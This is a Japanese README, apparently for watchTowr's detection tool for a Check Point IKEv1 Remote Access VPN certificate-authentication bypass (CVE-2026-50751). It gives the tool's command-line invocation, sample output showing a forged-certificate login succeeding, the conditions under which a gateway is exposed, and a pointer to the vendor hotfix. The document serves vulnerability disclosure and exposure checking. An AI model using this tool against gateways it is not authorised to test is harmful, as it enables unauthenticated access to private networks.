
Check Point VPN IKEv1 証明書認証バイパス (CVE-2026-50751) の検出アーティファクト生成ツール。ゲートウェイの露出を検証し、偽造証明書による未認証リモートアクセスを実証します。
Check Point Remote Access VPN IKEv1 証明書認証バイパスの検出アーティファクトジェネレーターです。
https://github.com/user-attachments/assets/1280c545-364e-42d1-94ac-5b2cd850d14e
技術的な詳細については、ブログ記事をご参照ください。
$ python3 watchTowr-vs-Check-Point-CVE-2026-50751.py -rh vpn.example.com -u watchtowr
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-Check-Point-CVE-2026-50751.py
(*) Check Point IKEv1 Remote-Access VPN certificate-auth bypass Detection Artifact Generator
- McCaulay (@_mccaulay) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2026-50751]
[#] CVE-2026-50751 Check Point IKEv1 Remote-Access certificate-auth bypass
[+] Self-signed cert (untrusted); signature will be invalid (no private key)
[#] Connecting via udp ...
[#] Authenticating as 'watchtowr' with the forged certificate + invalid signature...
[#] Decrypting...
[+] Gateway Internal IP: 172.31.255.128
[+] [BYPASSED] Gateway authenticated us as 'watchtowr'. CVE-2026-50751 certificate-authentication bypass confirmed.
Python 3 と cryptography パッケージが必要です:
pip install cryptography
この watchTowr 検出アーティファクトジェネレーターは、Check Point Remote Access VPN / Mobile Access の認証バイパス CVE-2026-50751(CVSS 9.3、CWE-287)をチェックし、実証します。リモートの非認証攻撃者は、非推奨の IKEv1 フェーズ1 交換を完了し、有効な証明書、秘密鍵、パスワードなしでプロビジョニングされた Remote Access ユーザーとして認証される可能性があります。このツールは、IKE(UDP 500/4500)および Check Point Visitor Mode / SSL(raw TCP 443、TCPT)の両方で動作します。
ゲートウェイは、レガシー IKEv1 パス(レガシー Remote Access クライアントが許可され、IKEv1 が許可されている(IKEv2 のみではない))のために構成されている場合に露出します。証明書認証バイパスは、Certificate、Certificate with enrollment、Mixed のユーザー認証方法に適用されます。通常の Legacy(ユーザー名/パスワード)はバイパスできません。
修正方法と詳細は、Check Point のアドバイザリおよびホットフィックス sk185033 に記載されています:
最新のセキュリティ研究については、watchTowr Labs チームをフォローしてください。